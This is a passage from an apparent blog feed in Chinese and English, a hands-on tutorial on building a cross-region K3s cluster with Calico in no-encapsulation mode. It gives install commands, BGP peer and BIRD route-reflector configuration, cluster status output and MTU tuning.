Gateway &amp;lt;--iBGP--&amp;gt; Global-Namespace
HKG04 &amp;lt;-.Calico iBGP Full Mesh.-&amp;gt; VM1
Global-Namespace &amp;lt;--iBGP Route Reflector--&amp;gt; HKG04
VM2 &amp;lt;-.Calico iBGP Full Mesh.-&amp;gt; HKG04

classDef router fill:#f96,stroke:#333,stroke-width:2px,font-weight:bold;
class Gateway,CN-Namespace,Global-Namespace router;

&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;em&gt;虚线部分的 BGP Session 是 Calico 自动创建的，实现部分是需要我们手动指派创建的&lt;/em&gt;&lt;/p&gt;
&lt;p&gt;保留 Calico 自己的 iBGP Full Mesh 是为了后续可扩展性考虑，使得各个节点之间可以尽量通过 ZeroTier P2P 优先建立直连网络，而不是从 Route Reflector 汇聚路由器转发绕一圈。&lt;/p&gt;
&lt;h1&gt;部署&lt;/h1&gt;
&lt;p&gt;理清了结构之后部署就很简单了。&lt;/p&gt;
&lt;h2&gt;开启内核转发并关闭 rp_filter&lt;/h2&gt;
&lt;p&gt;老生常谈。&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;echo &quot;net.ipv4.ip_forward=1&quot; &amp;gt;&amp;gt; /etc/sysctl.conf
echo &quot;net.ipv6.conf.default.forwarding=1&quot; &amp;gt;&amp;gt; /etc/sysctl.conf
echo &quot;net.ipv6.conf.all.forwarding=1&quot; &amp;gt;&amp;gt; /etc/sysctl.conf
echo &quot;net.ipv4.conf.default.rp_filter=0&quot; &amp;gt;&amp;gt; /etc/sysctl.conf
echo &quot;net.ipv4.conf.all.rp_filter=0&quot; &amp;gt;&amp;gt; /etc/sysctl.conf
sysctl -p
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;安装 K3s&lt;/h2&gt;
&lt;h3&gt;Master&lt;/h3&gt;
&lt;p&gt;因为 KubeMaster 主控节点在境内，所以最好配置一下镜像加速：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;mkdir -p /etc/rancher/k3s
cat &amp;lt;&amp;lt;EOF &amp;gt; /etc/rancher/k3s/registries.yaml
mirrors:
  docker.io:
    endpoint:
      - &quot;https://docker.m.daocloud.io&quot;
  quay.io:
    endpoint:
      - &quot;https://quay.m.daocloud.io&quot;
EOF
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;使用镜像源安装：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;curl -sfL https://rancher-mirror.rancher.cn/k3s/k3s-install.sh | \
  INSTALL_K3S_MIRROR=cn INSTALL_K3S_EXEC=&quot; \
  --flannel-backend=none \
  --disable-network-policy \
  --cluster-cidr=10.42.0.0/16&quot; sh -
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;需要注意的是要指定 &lt;code&gt;--flannel-backend=none&lt;/code&gt; 和 &lt;code&gt;--disable-network-policy&lt;/code&gt; 来禁用默认 CNI 组件。&lt;br /&gt;
使用 &lt;code&gt;cat /var/lib/rancher/k3s/server/node-token&lt;/code&gt; 查看 Token ，并记录下来。&lt;/p&gt;
&lt;h3&gt;WorkerNode&lt;/h3&gt;
&lt;p&gt;境内节点配置镜像加速：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;mkdir -p /etc/rancher/k3s
cat &amp;lt;&amp;lt;EOF &amp;gt; /etc/rancher/k3s/registries.yaml
mirrors:
  docker.io:
    endpoint:
      - &quot;https://docker.m.daocloud.io&quot;
  quay.io:
    endpoint:
      - &quot;https://quay.m.daocloud.io&quot;
EOF
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;然后使用镜像源安装 K3s 并加入集群：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;export INSTALL_K3S_MIRROR=cn
export K3S_URL=https://&amp;lt;主控节点 IP&amp;gt;:6443  # 换成你的主节点实际IP
export K3S_TOKEN=K10...你的TOKEN...::server:xxx # 换成第一步获取的完整TOKEN

curl -sfL https://rancher-mirror.rancher.cn/k3s/k3s-install.sh | sh -
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;这个时候各个节点的状态应该是 NotReady 的，因为缺少 CNI 组件。&lt;/p&gt;
&lt;h2&gt;安装 Calico 并配置 No-Encap 模式&lt;/h2&gt;
&lt;p&gt;在主控上手动下载下来 &lt;code&gt;https://raw.githubusercontent.com/projectcalico/calico/v3.26.1/manifests/tigera-operator.yaml&lt;/code&gt; ，安装 Calico 算子：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;kubectl create -f tigera-operator.yaml
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;配置自定义资源，创建一个 &lt;code&gt;custom-resource.yaml&lt;/code&gt; 文件：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;apiVersion: operator.tigera.io/v1
kind: Installation
metadata:
  name: default
spec:
  # 添加镜像注册表配置
  registry: quay.m.daocloud.io 
  calicoNetwork:
    ipPools:
    - blockSize: 26
      cidr: 10.42.0.0/16
      encapsulation: None
      natOutgoing: Enabled
      nodeSelector: all()
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;此处通过指定 &lt;code&gt;encapsulation: None&lt;/code&gt; 来设置 No-Encap 模式。想要修改 IPv4 CIDR 也可以在这里改。随后&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;kubectl apply -f custom-resource.yaml
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;执行安装。使用：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;kubectl get pods -A -o wide
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;查看 Pod 状态，等待各个节点拉取完成即可。&lt;/p&gt;
&lt;h2&gt;配置 BGP 拓扑&lt;/h2&gt;
&lt;h3&gt;节点打标&lt;/h3&gt;
&lt;p&gt;通过给节点打标来指定 WDS 下的节点全都连接到 WDS 节点的 Gateway 的 BGP，境外节点全部连接 Global Namespace 的 BGP：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;kubectl label nodes kubemaster region=WDS
kubectl label nodes kubenode-wds-1 region=WDS
kubectl label nodes kubenode-hkg04 region=Global
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;Calico 配置&lt;/h3&gt;
&lt;p&gt;编写 yaml 配置文件：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;apiVersion: crd.projectcalico.org/v1
kind: BGPPeer
metadata:
  name: route-reflector-domestic
spec:
  nodeSelector: region == &apos;Domestic&apos; # 这部分其实没用上，我原来设计的是 Domestic 区域有个总体的汇聚路由
  peerIP: 100.64.0.108
  asNumber: 64512
---
apiVersion: crd.projectcalico.org/v1
kind: BGPPeer
metadata:
  name: route-reflector-wds
spec:
  nodeSelector: region == &apos;WDS&apos;
  peerIP: 192.168.100.1
  asNumber: 64512
---
apiVersion: crd.projectcalico.org/v1
kind: BGPPeer
metadata:
  name: route-reflector-global
spec:
  nodeSelector: region == &apos;Global&apos;
  peerIP: 100.64.1.106
  asNumber: 64512
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;这部分的意思是：&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;所有 &lt;code&gt;region&lt;/code&gt; 标签为 &lt;code&gt;Domestic&lt;/code&gt; 的节点都添加一个连接到 &lt;code&gt;100.64.0.108&lt;/code&gt; （即境内汇聚路由）的 BGP Session，使用 AS &lt;code&gt;64512&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;所有 &lt;code&gt;region&lt;/code&gt; 标签为 &lt;code&gt;WDS&lt;/code&gt; 的节点都添加一个连接到 &lt;code&gt;192.168.100.1&lt;/code&gt; （即 WDS 节点所有 VM 的 Gateway）的 BGP Session，使用 AS &lt;code&gt;64512&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;所有 &lt;code&gt;region&lt;/code&gt; 标签为 &lt;code&gt;Global&lt;/code&gt; 的节点都添加一个连接到 &lt;code&gt;100.64.1.106&lt;/code&gt; （即境外汇聚路由）的 BGP Session，使用 AS &lt;code&gt;64512&lt;/code&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;借此实现上文图示的，所有 WDS 节点下的 VM，包括主控和 KubeNode-WDS1 都接入到 WDS 节点的 Gateway 汇聚路由，境外区域的所有节点都接入到境外部分的汇聚路由。&lt;/p&gt;
&lt;h3&gt;配置汇聚路由 iBGP&lt;/h3&gt;
&lt;p&gt;这部分直接写 Bird 配置文件就行了，简单（&lt;br /&gt;
这里举几个例子：&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;k3s/ibgp.conf&lt;/code&gt;：&lt;/li&gt;
&lt;/ul&gt;
&lt;pre&gt;&lt;code&gt;function is_insider_as(){
    if bgp_path.len &amp;gt; 0 &amp;amp;&amp;amp; !(bgp_path ~ [= 64512 =]) then {
        return false;
    }

    if net ~ [ 10.42.0.0/16{16,32} ] then {
        return true;
    }

    return false;
}

template bgp k3sbackbone{
    local as K3S_AS;
    router id INTRA_ROUTER_ID;
    neighbor as K3S_AS;

    ipv4{
        table intra_table_v4;
        import filter{
            if is_insider_as() then accept;
            reject;
        };
        export filter{
            if is_insider_as() then accept;
            reject;
        };
        next hop self;
        extended next hop;
    };

    ipv6{
        table intra_table_v6;
        import filter{
            if is_insider_as() then accept;
            reject;
        };
        export filter{
            if is_insider_as() then accept;
            reject;
        };
        next hop self;
    };
};

template bgp k3speers{
    local as K3S_AS;
    neighbor as K3S_AS;
    router id INTRA_ROUTER_ID;
    rr client;
    rr cluster id INTRA_ROUTER_ID;

    ipv4{
        table intra_table_v4;
        import filter{
            if is_insider_as() then accept;
            reject;
        };
        export filter{
            if is_insider_as() then accept;
            reject;
        };
        next hop self;
    };

    ipv6{
        table intra_table_v6;
        import filter{
            if is_insider_as() then accept;
            reject;
        };
        export filter{
            if is_insider_as() then accept;
            reject;
        };
        next hop self;
    };
};

include &quot;ibgpeers/*&quot;;
&lt;/code&gt;&lt;/pre&gt;
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;ibgpeers/backbone-cn.conf&lt;/code&gt;：&lt;/li&gt;
&lt;/ul&gt;
&lt;pre&gt;&lt;code&gt;protocol bgp &apos;k3s_backbone_cn_v4&apos; from k3sbackbone{
    neighbor fd18:3e15:61d0:cafe:f001::1;
};
&lt;/code&gt;&lt;/pre&gt;
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;ibgpeers/master.conf&lt;/code&gt;：&lt;/li&gt;
&lt;/ul&gt;
&lt;pre&gt;&lt;code&gt;protocol bgp &apos;k3s_master_v4&apos; from k3speers{
    neighbor 192.168.100.251;
};
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;主要是几个汇聚路由之间最好不要开 Route Reflector，以及记得开 next hop self。&lt;/p&gt;
&lt;hr /&gt;
&lt;p&gt;全部完成之后使用 &lt;code&gt;kubectl get nodes&lt;/code&gt; 应该能看到节点状态都 Ready 了：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;NAME             STATUS   ROLES           AGE     VERSION
kubemaster       Ready    control-plane   2d23h   v1.34.5+k3s1
kubenode-hkg04   Ready    &amp;lt;none&amp;gt;          11h     v1.34.6+k3s1
kubenode-wds-1   Ready    &amp;lt;none&amp;gt;          2d7h    v1.34.5+k3s1
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;使用 &lt;code&gt;kubectl get pods -A -o wide&lt;/code&gt; 查看 Pods：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;NAMESPACE         NAME                                       READY   STATUS      RESTARTS        AGE     IP                NODE             NOMINATED NODE   READINESS GATES
calico-system     calico-kube-controllers-64fc874957-6bdlz   1/1     Running     0               5h38m   10.42.253.136     kubenode-hkg04   &amp;lt;none&amp;gt;           &amp;lt;none&amp;gt;
calico-system     calico-node-2qz82                          1/1     Running     0               4h24m   10.2.5.7          kubenode-hkg04   &amp;lt;none&amp;gt;           &amp;lt;none&amp;gt;
calico-system     calico-node-dhl2c                          1/1     Running     0               4h24m   192.168.100.251   kubemaster       &amp;lt;none&amp;gt;           &amp;lt;none&amp;gt;
calico-system     calico-node-nbpkj                          1/1     Running     0               4h23m   192.168.100.252   kubenode-wds-1   &amp;lt;none&amp;gt;           &amp;lt;none&amp;gt;
calico-system     calico-typha-7bb5db4bdc-rfpwg              1/1     Running     0               5h38m   10.2.5.7          kubenode-hkg04   &amp;lt;none&amp;gt;           &amp;lt;none&amp;gt;
calico-system     calico-typha-7bb5db4bdc-rwwr5              1/1     Running     0               5h38m   192.168.100.251   kubemaster       &amp;lt;none&amp;gt;           &amp;lt;none&amp;gt;
calico-system     csi-node-driver-jglwp                      2/2     Running     0               5h38m   10.42.64.68       kubenode-wds-1   &amp;lt;none&amp;gt;           &amp;lt;none&amp;gt;
calico-system     csi-node-driver-jqjsc                      2/2     Running     0               5h38m   10.42.253.137     kubenode-hkg04   &amp;lt;none&amp;gt;           &amp;lt;none&amp;gt;
calico-system     csi-node-driver-vk26s                      2/2     Running     0               5h38m   10.42.141.16      kubemaster       &amp;lt;none&amp;gt;           &amp;lt;none&amp;gt;
kube-system       coredns-695cbbfcb9-8fx4p                   1/1     Running     1 (7h27m ago)   2d23h   10.42.141.14      kubemaster       &amp;lt;none&amp;gt;           &amp;lt;none&amp;gt;
kube-system       helm-install-traefik-crd-5bkwx             0/1     Completed   0               2d23h   &amp;lt;none&amp;gt;            kubemaster       &amp;lt;none&amp;gt;           &amp;lt;none&amp;gt;
kube-system       helm-install-traefik-m9fgj                 0/1     Completed   1               2d23h   &amp;lt;none&amp;gt;            kubemaster       &amp;lt;none&amp;gt;           &amp;lt;none&amp;gt;
kube-system       local-path-provisioner-546dfc6456-dmn4g    1/1     Running     1 (7h27m ago)   2d23h   10.42.141.15      kubemaster       &amp;lt;none&amp;gt;           &amp;lt;none&amp;gt;
kube-system       metrics-server-c8774f4f4-2wkwh             1/1     Running     1 (7h27m ago)   2d23h   10.42.141.12      kubemaster       &amp;lt;none&amp;gt;           &amp;lt;none&amp;gt;
kube-system       svclb-traefik-999cddce-hpmcm               2/2     Running     6 (7h26m ago)   11h     10.42.253.134     kubenode-hkg04   &amp;lt;none&amp;gt;           &amp;lt;none&amp;gt;
kube-system       svclb-traefik-999cddce-q4225               2/2     Running     2 (7h27m ago)   2d22h   10.42.141.9       kubemaster       &amp;lt;none&amp;gt;           &amp;lt;none&amp;gt;
kube-system       svclb-traefik-999cddce-xmd64               2/2     Running     2 (7h26m ago)   2d6h    10.42.64.66       kubenode-wds-1   &amp;lt;none&amp;gt;           &amp;lt;none&amp;gt;
kube-system       traefik-788bc4688c-vbbhj                   1/1     Running     1 (7h27m ago)   2d22h   10.42.141.13      kubemaster       &amp;lt;none&amp;gt;           &amp;lt;none&amp;gt;
tigera-operator   tigera-operator-6b95bbf4db-vl46l           1/1     Running     1 (7h27m ago)   2d23h   192.168.100.251   kubemaster       &amp;lt;none&amp;gt;           &amp;lt;none&amp;gt;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;使用 &lt;code&gt;kubectl exec -it -n calico-system &amp;lt;calico-node-xxxx&amp;gt; -- birdcl s p&lt;/code&gt; 可查看 Bird 的状态：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;root@KubeMaster:~/kube/calico# kubectl exec -it -n calico-system calico-node-2qz82 -- birdcl s p
Defaulted container &quot;calico-node&quot; out of: calico-node, flexvol-driver (init), install-cni (init)
BIRD v0.3.3+birdv1.6.8 ready.
name     proto    table    state  since       info
static1  Static   master   up     08:58:17    
kernel1  Kernel   master   up     08:58:17    
device1  Device   master   up     08:58:17    
direct1  Direct   master   up     08:58:17    
Mesh_192_168_100_251 BGP      master   up     08:58:33    Established   
Mesh_192_168_100_252 BGP      master   up     08:59:00    Established   
Node_100_64_1_106 BGP      master   up     12:57:44    Established   
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;code&gt;ip r&lt;/code&gt; 可查看系统路由表：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;root@KubeMaster:~/kube/calico# ip r
default via 192.168.100.1 dev eth0 proto static 
10.42.64.64/26 proto bird 
        nexthop via 192.168.100.1 dev eth0 weight 1 
        nexthop via 192.168.100.252 dev eth0 weight 1 
blackhole 10.42.141.0/26 proto bird 
10.42.141.9 dev caliac6501d3794 scope link 
10.42.141.12 dev calib07c23291bb scope link 
10.42.141.13 dev caliab16e60bd19 scope link 
10.42.141.14 dev calid5959219080 scope link 
10.42.141.15 dev cali026d8f1ddb7 scope link 
10.42.141.16 dev califa657ba417a scope link 
10.42.253.128/26 via 192.168.100.1 dev eth0 proto bird 
192.168.100.0/24 dev eth0 proto kernel scope link src 192.168.100.251 
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;找一个Pod 的地址 Ping 一下，如果没啥问题的话应该就能直接通了：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;root@KubeMaster:~/kube/calico# ping 10.42.253.137
PING 10.42.253.137 (10.42.253.137) 56(84) bytes of data.
64 bytes from 10.42.253.137: icmp_seq=1 ttl=60 time=33.7 ms
64 bytes from 10.42.253.137: icmp_seq=2 ttl=60 time=33.5 ms
^C
--- 10.42.253.137 ping statistics ---
2 packets transmitted, 2 received, 0% packet loss, time 1002ms
rtt min/avg/max/mdev = 33.546/33.632/33.718/0.086 ms
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;调优 MTU&lt;/h3&gt;
&lt;p&gt;这一步其实是为了稳定性……？&lt;br /&gt;
测试下来发现虽然我的 ZeroTier MTU 是 1420，但是实际上包大小到达 1392 左右就会开始触发分片（可用 &lt;code&gt;ping -M do -s &amp;lt;包大小&amp;gt; &amp;lt;Pod_IP&amp;gt;&lt;/code&gt; 测试），因此强制指定 Pod MTU 为 1370：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;root@KubeMaster:~/kube/calico# cat patch-mtu.yaml 
apiVersion: operator.tigera.io/v1
kind: Installation
metadata:
  name: default
spec:
  calicoNetwork:
    mtu: 1370
    nodeAddressAutodetectionV4:
      firstFound: true
root@KubeMaster:~/kube/calico# kubectl apply -f patch-mtu.yaml 
installation.operator.tigera.io/default configured
&lt;/code&gt;&lt;/pre&gt;
</content:encoded></item><item><title>Building a Cross-Region K3s Cluster from Scratch - Calico No-Encapsulation CNI</title><link>https://blog.iyoroy.cn/posts/en-265/</link><guid isPermaLink="true">https://blog.iyoroy.cn/posts/en-265/</guid><description>Deploying K3s across an existing private network with Calico in no-encapsulation mode, distributing Pod routes through BGP and adjusting the topology and MTU.</description><pubDate>Sun, 05 Apr 2026 13:43:00 GMT</pubDate><content:encoded>&lt;pre&gt;&lt;code&gt;# Preface

I&apos;ve actually wanted to play with a K8s cluster for a long time, but always felt that without sufficient knowledge, it would be too difficult to attempt.  
Recently, I spent some time studying DN42 and routing protocols like BGP and OSPF, and realized that it no longer feels so difficult. So I decisively started with K3s (  

The main reason for choosing K3s over K8s is its lightweight nature: low resource requirements, no need to pull a bunch of images for deployment, availability of domestic mirrors… In short, K3s suits my needs better.  

I&apos;m a beginner just starting to explore K3s, so please go easy on me if I make any mistakes~

# Analysis

## Choosing the CNI Component

My current network architecture looks like this:

```mermaid
graph TD
    subgraph ZeroTier Domestic
        subgraph WDS
            Gateway &amp;lt;--&amp;gt; VM1
            Gateway &amp;lt;--&amp;gt; VM2
        end
        NGB &amp;lt;--&amp;gt; Gateway
        HFE-NAS &amp;lt;--&amp;gt; Gateway
        NGB &amp;lt;--&amp;gt; HFE-NAS
    end

    subgraph IEPL
        Global-NIC &amp;lt;==OSPF==&amp;gt; CN-NIC 
    end

    subgraph ZeroTier Global
        HKG02 &amp;lt;--&amp;gt;  HKG04
        TYO &amp;lt;--&amp;gt; HKG04
        TYO &amp;lt;--&amp;gt; HKG02
    end

    CN-NIC &amp;lt;--&amp;gt; NGB
    CN-NIC &amp;lt;--&amp;gt; HFE-NAS
    CN-NIC &amp;lt;--OSPF--&amp;gt; Gateway

    Global-NIC &amp;lt;--OSPF--&amp;gt; TYO
    Global-NIC &amp;lt;--OSPF--&amp;gt; HKG02
    Global-NIC &amp;lt;--OSPF--&amp;gt; HKG04

    %% Style definition: orange background, bold border to represent routers
    classDef router fill:#f96,stroke:#333,stroke-width:2px,font-weight:bold;
    class Global-NIC,CN-NIC,Gateway router;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Among this, the WDS node is a Proxmox VE host with multiple VMs underneath. It advertises its VMs&apos; IPv4 prefixes via OSPF. When Hong Kong nodes need to access a VM under the WDS node, they can do so by joining the OSPF internal network to achieve multi-hop reachability. This keeps the encapsulation layer count to only one, so there&apos;s no worry about MTU &quot;disappearing act&quot;.&lt;/p&gt;
&lt;p&gt;I plan to create two new VMs under WDS to serve as the master and a node (temporarily called KubeMaster and KubeNode-WDS1). Then HKG04 (temporarily called KubeNode-HKG04) will also join the K3s cluster as a node.&lt;/p&gt;
&lt;p&gt;The simplest approach would be to use K3s&apos;s default Flannel as the CNI. However, Flannel is based on VXLAN, and adding another layer of my existing internal network would lead to the following MTU &quot;disappearing act&quot;:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;Data packet -&amp;gt; Flannel VXLAN encapsulation -&amp;gt; ZeroTier encapsulation -&amp;gt; Physical link
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;The actual usable MTU for inter-container communication would likely be compressed to 1350 or even lower. Therefore, I tried to find a CNI solution that can work directly on top of this internal network, and then I found Calico. As I understand, Calico uses BGP as its underlying routing protocol, supports starting in no-encapsulation (No-Encap) mode, and hands packets directly to the upper routers for routing. Thus, I chose Calico as the CNI component.&lt;/p&gt;
&lt;h2&gt;Routing Design&lt;/h2&gt;
&lt;p&gt;To ensure that intermediate routers know how to route Pod IPs, KubeMaster and KubeNode-WDS1 are under the Proxmox VE host. They need to establish BGP with HKG04 across the entire internal network. This means that every router at each intermediate level must learn the full BGP routes, so that the following routing path can be established:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;graph LR

subgraph WDS
    KubeMaster
    KubeNode-WDS1
    Gateway
end

subgraph IEPL
    CN-Namespace
    Global-Namespace
end

KubeNode-WDS1 &amp;lt;--&amp;gt; Gateway
KubeMaster &amp;lt;--&amp;gt; Gateway &amp;lt;--&amp;gt; CN-Namespace &amp;lt;--&amp;gt; Global-Namespace &amp;lt;--&amp;gt; HKG04

%% Style definition: highlight nodes with routing capability
classDef router fill:#f96,stroke:#333,stroke-width:2px,font-weight:bold;
class Gateway,CN-Namespace,Global-Namespace router;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Otherwise, any intermediate hop would drop packets because it doesn&apos;t recognize the source/destination IP. Also, due to the property of iBGP that routes learned from a neighbor cannot be propagated to the next iBGP neighbor, all BGP sessions between Gateway, CN-Namespace, Global-Namespace and the nodes need to enable Route Reflector; otherwise, nodes cannot correctly learn routes from each other.&lt;/p&gt;
&lt;p&gt;That said, this architecture would be more suitable for BGP Confederation, but my existing network is already quite complex, and adding BGP confederations would make later maintenance more troublesome. Moreover, my number of nodes is small, so the overhead of iBGP Full Mesh is acceptable. &lt;s&gt;It&apos;s definitely not because I&apos;m lazy (so&lt;/s&gt;&lt;/p&gt;
&lt;p&gt;Thus, the final network routing structure is as follows:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;graph TD
subgraph WDS
    VM1
    VM2
    Gateway
end

subgraph IEPL
    CN-Namespace
    Global-Namespace
end

VM1 &amp;lt;-.Calico iBGP Full Mesh.-&amp;gt; VM2
VM1 &amp;lt;--iBGP Route Reflector--&amp;gt; Gateway
VM2 &amp;lt;--iBGP Route Reflector--&amp;gt; Gateway &amp;lt;--iBGP--&amp;gt; CN-Namespace &amp;lt;--iBGP--&amp;gt; Global-Namespace &amp;lt;--iBGP Route Reflector--&amp;gt; HKG04
Gateway &amp;lt;--iBGP--&amp;gt; Global-Namespace
HKG04 &amp;lt;-.Calico iBGP Full Mesh.-&amp;gt; VM1
VM2 &amp;lt;-.Calico iBGP Full Mesh.-&amp;gt; HKG04

%% Style definition
classDef router fill:#f96,stroke:#333,stroke-width:2px,font-weight:bold;
%% Mark nodes with routing/forwarding or RR functions as Router
class Gateway,CN-Namespace,Global-Namespace router;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;em&gt;The dashed-line BGP sessions are automatically created by Calico, while the solid-line parts need to be manually created by us.&lt;/em&gt;&lt;/p&gt;
&lt;p&gt;Keeping Calico&apos;s own iBGP Full Mesh is for future scalability, so that nodes can preferentially establish direct P2P connections via ZeroTier instead of taking a detour through the Route Reflector aggregation router.&lt;/p&gt;
&lt;h1&gt;Deployment&lt;/h1&gt;
&lt;p&gt;After clarifying the structure, deployment becomes simple.&lt;/p&gt;
&lt;h2&gt;Enable Kernel Forwarding and Disable rp_filter&lt;/h2&gt;
&lt;p&gt;Standard practice.&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;echo &quot;net.ipv4.ip_forward=1&quot; &amp;gt;&amp;gt; /etc/sysctl.conf
echo &quot;net.ipv6.conf.default.forwarding=1&quot; &amp;gt;&amp;gt; /etc/sysctl.conf
echo &quot;net.ipv6.conf.all.forwarding=1&quot; &amp;gt;&amp;gt; /etc/sysctl.conf
echo &quot;net.ipv4.conf.default.rp_filter=0&quot; &amp;gt;&amp;gt; /etc/sysctl.conf
echo &quot;net.ipv4.conf.all.rp_filter=0&quot; &amp;gt;&amp;gt; /etc/sysctl.conf
sysctl -p
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;Install K3s&lt;/h2&gt;
&lt;h3&gt;Master&lt;/h3&gt;
&lt;p&gt;Because the KubeMaster control plane node is located inside China, it&apos;s best to configure image acceleration:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;mkdir -p /etc/rancher/k3s
cat &amp;lt;&amp;lt;EOF &amp;gt; /etc/rancher/k3s/registries.yaml
mirrors:
  docker.io:
    endpoint:
      - &quot;https://docker.m.daocloud.io&quot;
  quay.io:
    endpoint:
      - &quot;https://quay.m.daocloud.io&quot;
EOF
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Install using the mirror:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;curl -sfL https://rancher-mirror.rancher.cn/k3s/k3s-install.sh | \
  INSTALL_K3S_MIRROR=cn INSTALL_K3S_EXEC=&quot; \
  --flannel-backend=none \
  --disable-network-policy \
  --cluster-cidr=10.42.0.0/16&quot; sh -
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Note the need to specify &lt;code&gt;--flannel-backend=none&lt;/code&gt; and &lt;code&gt;--disable-network-policy&lt;/code&gt; to disable the default CNI component.&lt;br /&gt;
Use &lt;code&gt;cat /var/lib/rancher/k3s/server/node-token&lt;/code&gt; to view the token and record it.&lt;/p&gt;
&lt;h3&gt;Worker Nodes&lt;/h3&gt;
&lt;p&gt;For nodes inside China, configure image acceleration:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;mkdir -p /etc/rancher/k3s
cat &amp;lt;&amp;lt;EOF &amp;gt; /etc/rancher/k3s/registries.yaml
mirrors:
  docker.io:
    endpoint:
      - &quot;https://docker.m.daocloud.io&quot;
  quay.io:
    endpoint:
      - &quot;https://quay.m.daocloud.io&quot;
EOF
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Then install K3s using the mirror and join the cluster:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;export INSTALL_K3S_MIRROR=cn
export K3S_URL=https://&amp;lt;master node IP&amp;gt;:6443  # Replace with your master node&apos;s actual IP
export K3S_TOKEN=K10...your token...::server:xxx # Replace with the full token obtained in the first step

curl -sfL https://rancher-mirror.rancher.cn/k3s/k3s-install.sh | sh -
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;At this point, the status of each node should be NotReady because the CNI component is missing.&lt;/p&gt;
&lt;h2&gt;Install Calico and Configure No-Encap Mode&lt;/h2&gt;
&lt;p&gt;On the master, manually download &lt;code&gt;https://raw.githubusercontent.com/projectcalico/calico/v3.26.1/manifests/tigera-operator.yaml&lt;/code&gt; and install the Calico operator:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;kubectl create -f tigera-operator.yaml
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Configure a custom resource by creating a &lt;code&gt;custom-resource.yaml&lt;/code&gt; file:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;apiVersion: operator.tigera.io/v1
kind: Installation
metadata:
  name: default
spec:
  # Add image registry configuration
  registry: quay.m.daocloud.io 
  calicoNetwork:
    ipPools:
    - blockSize: 26
      cidr: 10.42.0.0/16
      encapsulation: None
      natOutgoing: Enabled
      nodeSelector: all()
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Here, specify &lt;code&gt;encapsulation: None&lt;/code&gt; to enable No-Encap mode. You can also modify the IPv4 CIDR here if needed. Then:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;kubectl apply -f custom-resource.yaml
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;to perform the installation. Use:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;kubectl get pods -A -o wide
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;to check Pod status, waiting for each node to finish pulling images.&lt;/p&gt;
&lt;h2&gt;Configure BGP Topology&lt;/h2&gt;
&lt;h3&gt;Label Nodes&lt;/h3&gt;
&lt;p&gt;Label nodes to specify that nodes under WDS connect to the Gateway&apos;s BGP in the WDS node, and nodes outside China connect to the BGP of the Global Namespace:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;kubectl label nodes kubemaster region=WDS
kubectl label nodes kubenode-wds-1 region=WDS
kubectl label nodes kubenode-hkg04 region=Global
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;Calico Configuration&lt;/h3&gt;
&lt;p&gt;Create a YAML configuration file:&lt;/p&gt;
